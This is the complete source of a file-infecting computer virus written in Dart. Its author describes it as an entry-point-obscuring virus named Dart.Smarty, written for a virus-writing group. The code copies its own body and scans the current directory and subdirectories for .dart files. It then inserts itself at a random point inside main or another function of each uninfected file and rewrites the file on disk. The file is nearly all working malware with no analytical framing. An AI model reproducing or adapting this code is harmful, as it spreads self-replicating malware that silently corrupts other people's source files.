/* * * I'm back! Another language, another virus! thank you google. One more for the LIP ^^ * * Language: google dart * Author: Genetix * Name: Dart.Smarty (although some asshole will change it). * Virus: Basic EPO injecting itself at inside void's or Main if no voids & scans current and sub directories. * */ import 'dart:io'; import 'dart:math'; main() { //begin var options = new Options(); var vcode = new List(); var ioImport = "import 'dart:io';"; var maImport = "import 'dart:math';"; var read=0; File vfile = new File(options.script); List vlines = vfile.readAsLinesSync(); for (int i = 0; i < vlines.length; i++) { //I'm not sure why substring wouldnt work but it kept giving weird errors... if(vlines[i].length == 9 && vlines[i].contains("//begin")) read=1; if(vlines[i].length == 7 && vlines[i].contains("//endre")) read=0; if (read==1) { vcode.add(vlines[i]); if (read==0) break; } } vcode.removeLast(); //scan dir for victims var souls = new List(); var dir = new Directory("."); List soulCollection = dir.listSync(recursive:true); for (var mysoul in soulCollection) { if (mysoul is File) { if (mysoul.name.endsWith(".dart")) souls.add(mysoul.name); } } //---------------------- //iterate through file collection for(var soul in souls) { //read possible future victim var hfile = new File(soul); List hcode = hfile.readAsLinesSync(Encoding.ASCII); //-------------------------- //setup some variables int infected=0; int hasIO=0; int hasMa=0; int console=0; int ep_line=0; int entrypoint=0; int lcount=0; var newCode = new List(); var ep_count=new List(); //------------------- //check a few things befor infecting for (var line in hcode) { if(line.contains("//Dart.Smarty")) infected=1; if(line.contains(ioImport)) hasIO=1; if(line.contains(maImport)) hasMa=1; if(line.contains(ioImport) || line.contains("print")) console=1; } //--------------------------------- //process uninfected files if (infected==0 && console==1) { //find entry points for (var ep in hcode) { ep_line++; if (ep.contains("main") || ep.contains("void")) { ep_count.add(ep_line); } } //---------------- //select random entry point var random = new Random(); int rnd_entry = random.nextInt(ep_count.length); //------------------------- //chosen entry point int entrypoint=ep_count[rnd_entry]; //------------------ //insert imports if they dont already exist if (hasIO==0) newCode.add(ioImport); if (hasMa==0) newCode.add(maImport); //----------------------------------------- //generate new code to inject the virus body for(var hline in hcode) { lcount++; if(lcount==entrypoint+1) { for (var vline in vcode) { newCode.add(vline); } } newCode.add(hline); } //---------------------------------------- //infect the file var host = new File(soul); var inject = host.openOutputStream(FileMode.WRITE); for (var vc in newCode) { inject.writeString("\r\n", Encoding.ASCII); inject.writeString(vc, Encoding.ASCII); } inject.close(); //-------------- } } //endre }